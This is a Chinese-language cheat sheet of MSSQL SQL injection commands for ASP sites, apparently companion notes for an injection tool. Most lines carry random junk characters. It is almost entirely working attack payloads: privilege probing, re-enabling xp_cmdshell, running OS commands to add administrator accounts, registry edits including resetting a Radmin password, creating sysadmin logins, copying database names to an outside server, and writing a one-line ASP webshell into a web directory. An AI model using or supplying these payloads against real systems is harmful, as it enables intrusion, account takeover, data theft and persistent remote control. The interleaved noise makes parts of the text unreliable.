阿D常用的一些注入命令7 X0 b$ [& }& m: K* C
//看看是什么权限的( h4 u" Z/ o9 I% X8 \+ e
and 1=(Select IS_MEMBER('db_owner'))8 ?# b+ \/ L- N% E7 \
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--% w9 {4 V, L" U4 Y' f1 V, ^8 h+ ~
% {$ y! _! T3 j: `: |$ E2 _( m
//检测是否有读取某数据库的权限
?5 x& j' c" Q# I* ]$ ^& q# U) sand 1= (Select HAS_DBACCESS('master'))
. z7 n' W2 n: o& K/ nAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
$ K1 z" |# ] B# E. @3 |( o v* Y; H! G3 c/ M
# {5 _) x; o- B数字类型
) G" Z% z+ t3 y, xand char(124)%2Buser%2Bchar(124)=06 `6 c, A; M- Q* }
- |+ ]9 @0 e/ y4 }4 G字符类型
7 o- V5 |' X1 c$ H6 e' and char(124)%2Buser%2Bchar(124)=0 and ''='
8 N5 c# v) x5 Q. m1 X! k# l# ]( J8 P( k1 I$ h
搜索类型
3 _' o; e% b/ ~' and char(124)%2Buser%2Bchar(124)=0 and '%'='
I0 c5 C/ b4 t* z% f5 K2 f: J* M( D+ W7 p) {/ \
爆用户名+ T, X, M8 m" p
and user>0 a2 Q$ f5 b6 C, O# k3 A
' and user>0 and ''='
& G5 l5 U) i$ j9 I- R" L. X* [9 O/ o% a$ L
检测是否为SA权限
5 k _/ `; ~, V: pand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 N% G8 p' ^. P6 JAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --9 l5 [# Z, t( D7 G; @$ k: n( |
" V9 [& B s: K, o. s9 n: p5 Q
检测是不是MSSQL数据库' E" f/ n% \+ M
and exists (select * from sysobjects);-- 4 t# Y3 D* ^' a1 g0 y, v- N; f l
/ u w# k7 |+ k1 D& D7 P4 F
检测是否支持多行 F9 G( Y; J V% }
;declare @d int;-- . C, V P3 B6 S/ V
4 R0 j1 q; W- `5 W恢复 xp_cmdshell
5 m2 ^ c3 O: t- F;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
, y! E, \7 |/ t; M& e' N/ x3 x$ U/ Y9 R0 r: O7 D+ [
9 ^; h3 z$ t# p( |1 r
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ! t; e! J' _2 d4 i
5 X: H/ Y. t H1 Z( O6 R5 I% ]' S
//-----------------------7 G. W9 u" y" U6 J: m/ M/ n
// 执行命令* S' t( G D( D' Y& N" I+ z
//-----------------------
, y8 v8 e" X0 @1 c$ }首先开启沙盘模式:) |+ X q9 p" @. @
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
7 A( G, g8 G6 h1 s/ `; {6 j
5 J9 t/ J3 I/ P8 A- y2 V' h然后利用jet.oledb执行系统命令
8 V' U, p& u( X3 [! Kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')- W( Y& ~, h# g9 n
; l* C& Y! ]7 J6 A& o4 R6 a% w- u
执行命令. ]' e9 G G. y; L0 B: q
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
. X! t# ]5 \* i U! y1 T) _/ I& v
& u# Y5 }3 e: [! {: i m$ DEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; ~4 I V2 t8 h. c7 x& U$ e) a5 B( l+ w# @% r3 O6 V0 m, `* i, O# X
判断xp_cmdshell扩展存储过程是否存在:
# Y. a# h! x: }) X' O6 O1 g# rhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')4 @6 c0 ` b( x; R- m* X9 N0 R
; q) S$ i2 J5 F0 J5 y6 F, q
写注册表
% l: S N4 f/ q; x2 Qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 e3 C" Z! j0 T/ |3 `$ [6 b3 M) d Q
REG_SZ* \: b1 K9 i t1 s6 \* K
# i: C/ }6 N+ @* {$ J, w
读注册表
3 z" S5 m% f5 Kexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'/ Q- m( ?) T. n+ K+ @2 H4 {* I
8 D7 I5 O c( f' a" k7 a
读取目录内容. s7 G0 o3 v) Z2 y6 T
exec master..xp_dirtree 'c:\winnt\system32\',1,1
# y/ X- g! q O! Z
* I+ B, {/ L+ g; X6 f6 m9 a/ S* [; b) F5 b
数据库备份1 ~4 v* m2 _+ H0 N2 j' i
backup database pubs to disk = 'c:\123.bak'& M( L: Y: c% ?" K
- b/ e) I0 Y' s9 |- O2 x8 ?3 S K
//爆出长度
' q1 |8 [- f' B0 BAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--# p: F9 W8 d" H* |5 p7 B% A
) @/ C h$ x; `* M- O
y( Y4 c; X% c5 L8 E: z7 T
) E. Y8 |- w2 M+ ]5 x+ { N5 g1 Y/ F更改sa口令方法:用sql综合利用工具连接后,执行命令:
4 J' `; H: o$ Oexec sp_password NULL,'新密码','sa'
8 U( E6 q: ]* p' P9 o4 F0 W' b, ? J4 g6 e) I# u( J
添加和删除一个SA权限的用户test:3 u; O- v8 R) [$ e$ k
exec master.dbo.sp_addlogin test,ptlove
* f! _1 d; O& Rexec master.dbo.sp_addsrvrolemember test,sysadmin
+ U$ e W( F* W, Y$ _% v/ a7 r
) [; |0 O9 T2 h( w# X0 f8 J删除扩展存储过过程xp_cmdshell的语句: 1 m, }- X7 w! y! t3 J8 N1 d- ?1 u( e
exec sp_dropextendedproc 'xp_cmdshell'
+ O2 T" L( U9 C
7 L( l6 W) z" T. A4 v, G* D/ B% ?, f; n添加扩展存储过过程
" o- g! h9 Y0 lEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 9 x u0 P) ], N! t+ j8 C9 m2 X. W0 A) H
GRANT exec On xp_proxiedadata TO public
2 y! O$ |; Y- T( ]: ?$ k; [* e# R, I9 y& o# s) `% a( q3 ]! `7 i
% I/ {; x* _. w* _! f停掉或激活某个服务。 2 o' p! T+ |* s
1 K1 z; W- v9 M$ {9 q( v# uexec master..xp_servicecontrol 'stop','schedule'
( w) V, m- w0 k- v$ a! K7 _) yexec master..xp_servicecontrol 'start','schedule'
7 a e8 V8 |# o
+ a. n; M: t$ T+ t9 j; R3 ^dbo.xp_subdirs
! B) O! F( e) Z
- T+ r- D$ r9 O1 @4 K. r只列某个目录下的子目录。) t7 ]8 e. e) h) c2 [
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' n+ _( I9 V. i
' n$ A3 F& X! J0 B
dbo.xp_makecab; q* E2 ^5 G8 `
$ r% x' {4 B7 o8 h* F
将目标多个档案压缩到某个目标档案之内。
: L" F! v0 r# J2 p# ]所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
1 j6 T5 R+ s6 B0 Q; F
! D# }' n9 A/ K; D" L& \) \- jdbo.xp_makecab/ y2 y% _2 S% }) ]8 s A P
'c:\test.cab','mszip',1,
/ E+ r* T9 z# p9 b% \5 j9 K+ J'C:\Inetpub\wwwroot\SQLInject\login.asp',
5 p" y( A9 k. W'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
; v) Z# c" n: \) J1 H- Y/ Y: z1 N+ r0 g- ]9 l0 x1 T4 a( a
xp_terminate_process
5 i. E. |) W/ j- E* Q4 f" n/ Z/ d7 [
* o1 c% j, a; l3 G7 c+ X0 a `6 I停掉某个执行中的程序,但赋予的参数是 Process ID。
1 u9 C6 R; J6 D0 u& j; s, ~利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID0 Q* z) Y! g; O
7 K; W9 a9 t2 [
xp_terminate_process 2484
9 N! A9 f, |; @6 N" K& g
+ Q; |8 q/ H1 P9 q! w1 u% Axp_unpackcab
% n# {; _4 l0 X' e3 H) c8 U: c0 U) h# l r3 [3 T- |
解开压缩档。! A5 o+ ?; R6 `# j, v+ y) Z" ^ t
% r$ L6 t" o, `& Pxp_unpackcab 'c:\test.cab','c:\temp',16 w' a5 h; F9 u+ a2 X( O% i
2 n s" Z% \0 P
7 o* g1 \1 [5 c
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
$ y# f5 \- g0 u2 D
! i4 ~* i( i( ]3 L2 x5 Mcreate database lcx;
! M0 x1 y- a, d: eCreate TABLE ku(name nvarchar(256) null);- n8 q" i' w) z9 @( e
Create TABLE biao(id int NULL,name nvarchar(256) null);5 |3 s. ]% Q' c$ H6 [3 S, |# R
' q8 Q5 `+ M7 }% k0 R+ S//得到数据库名
& |2 y# \8 i$ j" [) p+ c T) D/ d' _0 Xinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases8 l, q3 D7 A3 y8 ?9 i2 l
7 Z$ _! N* w/ X# I a& O
& U% q- {3 {+ j! c4 f, L. m% I7 y' e//在Master中创建表,看看权限怎样
% i: A* v* \+ h3 iCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--5 _6 A# U9 n2 l, q1 x, T: X& U' H
- ` A- S+ L& V
用 sp_makewebtask直接在web目录里写入一句话马:
! v: }7 v- U1 | \! {+ Thttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
& s) E1 H# v9 r1 w3 ~) \ Z4 N/ p7 t; D7 G z
//更新表内容
5 V+ s1 a9 l1 gUpdate films SET kind = 'Dramatic' Where id = 123
& @8 G) m1 z' h4 P2 N# {4 m6 R ^* i* Q$ ]; H: V. Y- t
//删除内容
8 ^0 E3 c; \- r6 F% @4 T" @5 }delete from table_name where Stockid = 3 |